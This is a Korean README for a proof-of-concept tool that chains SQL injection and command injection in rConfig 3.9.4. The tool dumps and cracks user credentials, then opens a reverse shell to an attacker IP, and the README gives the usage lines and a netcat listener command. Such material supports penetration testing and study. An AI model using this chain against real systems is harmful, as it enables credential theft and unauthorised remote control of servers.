rConfig 3.9 SQL 인젝션 및 명령어 인젝션 통합 PoC

개요

이 PoC는 rConfig 버전 3.9.4를 대상으로 하며, SQL 인젝션(SQL Injection)과 원격 명령어 인젝션(Remote Command Injection) 취약점을 결합한 공격을 시연합니다. 다음 과정을 자동화합니다:

1. SQLi를 통해 데이터베이스 이름 추출
2. 데이터베이스에서 사용자 자격 증명 덤프
3. hashcat을 사용하여 rockyou 단어 목록과 best64.rules로 비밀번호 해시 크랙 시도
4. 선택적으로 크랙된 관리자 자격 증명을 사용하여 검색 기능의 명령어 인젝션을 통한 원격 명령 실행(RCE)

이 스크립트는 다음 두 원본 PoC를 기반으로 통합하였습니다:

• 48208.py (SQL 인젝션) - vikingfr
• 48241.py (명령어 인젝션) - Matthew Aberegg, Michael Burkey

크래킹 및 선택적 셸 생성 자동화를 위해 수정되었습니다.

요구 사항

• Python 3
• requests 라이브러리 (pip install requests)
• 명령줄에서 사용 가능한 hashcat 설치
• /usr/share/wordlists/rockyou.txt에 위치한 rockyou.txt 단어 목록 (또는 이와 동등한 파일)
• hashcat 룰 파일 /usr/share/hashcat/rules/best64.rule

사용법

사용자와 해시만 덤프하려면:

python3 rConfig_rce.py https://target

사용자 덤프, 비밀번호 크랙 및 RCE 시도 (리버스 셸을 위한 공격자 IP와 포트 필요):

python3 rConfig_rce.py https://target attacker_ip attacker_port

참고 사항

• hashcat이 비밀번호를 크랙하지 못하면, 스크립트는 CrackStation과 같은 온라인 크래킹 서비스를 사용할 것을 제안합니다.
• 비밀번호 해시를 자동으로 크랙할 수 없는 경우, RCE 시도를 위해 평문 비밀번호를 수동으로 입력하라는 메시지가 표시됩니다.
• 스크립트는 명령어 인젝션 단계에서 admin 계정을 우선 사용합니다.
• 리버스 셸을 받기 위해 공격자 시스템에서 리스너(예: nc -lvnp 80)를 실행 중인지 확인하십시오.

면책 조항

이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용됩니다. 허가 없이 시스템에 무단으로 사용하는 것은 불법이며 비윤리적입니다.